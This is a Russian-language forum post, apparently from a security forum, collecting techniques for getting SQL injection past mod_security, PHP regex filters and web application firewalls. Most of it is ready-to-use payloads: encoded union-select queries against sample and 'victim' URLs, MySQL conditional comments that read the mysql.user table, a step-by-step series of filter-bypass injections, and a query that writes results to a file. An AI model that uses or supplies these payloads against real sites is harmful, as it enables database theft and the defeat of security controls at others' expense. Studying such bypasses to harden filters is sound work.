Обсудим методы обхода Систем Обнаружения/Предотвращения Вторжений в Web.
На данный момент я готовлю тренировочную площадку для тестирования методов обхода mod_security, если есть заинтересованные личности можем обменяться контактами и поработать вместе.
И так что мы наресерчили на сегодня:
bypass mod_security
Комментарии + перевод каретки %0D%0A
Код:
http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
url-decode вариант:
Код:
http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union#foo*/*bar
select#foo
1,2,current_user
Комбинирование комментариев и управляющих символов (перевод каретки %0D%0A) Отбросив комментарии мы получаем запрос вида:
Код:
0 div 1 union select 1,2,current_user
Технология Unterminated Comments + MySQL Comment Extensions for conditional code execution.
Код:
hUserId=22768&FromDate=1&ToDate=1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-&sendbutton1=Get+Statement
Код:
/*! MySQL-specific code */
Цитата:
In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions.
|
Внутри такого комментария можно указать условия выполнения, к примеру:
Код:
CREATE /*!32302 TEMPORARY */ TABLE t (a INT);
TEMPORARY - конструкция будет задействована на серверах чья версия 3.23.02 или выше.
Ссылки по теме:
8 примеров на eng как обходили в свое время mod_sec правила: https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge--Lessons-Learned/
Mod_Security Bypass Login (CRS, SQL Injection) http://software-talk.org/blog/2015/02/mod_security-bypass-login-sql-injection/
https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/37
Other PHP Filters
Интересные примеры с обходами различных фильтров основанных на "недодуманных" регулярных выражениях.
Обход фильтра
and, or
Код:
PHP filter code: preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
Обход and, or,
union
Код:
PHP filter code: preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
Обход фильтра
where
Код:
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
Обход фильтра
limit
Код:
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Обход фильтра
group by
Код:
PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
Обход фильтра
select
Код:
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(group_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
Обход фильтра ' (
одинарная ковычка)
Код:
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(group_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
Обход фильтра
hex
Код:
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Обход фильтра
substr
Код:
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
Обход фильтра
white space (пробел)
Код:
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
Bypassed injection: 1%0b||%0blpad(user,7,1)
Еще варианты:
Код:
+, %2B, %20, %09, %0d ,%0А, /**/, /*tuns*/
Обход фильтра "=" (
знак равенства)
Код:
script.php?par=1 and substring(Version(),1,1)like(5)
script.php?par=1 and substring(Version(),1,1)not in(4,3)
script.php?par=1 and substring(Version(),1,1)in(4,3)
bypass Web Application Firewall (WAF)
Вставка комментариев в управляющие конструкции
Код:
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
Обход регистро-зависимых фильтров
Код:
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
Не рекурсивные фильтры:
Код:
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
Двойной URL-Encode
Код:
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
Общие ссылки:
Слайд от Дмитрия Евтеева: http://www.slideshare.net/devteev/methods-to-bypass-a-web-application-firewall-eng
https://www.exploit-db.com/papers/17934/
http://forum.antichat.ru/threads/425295/
P.S. Тема в стадии разработки.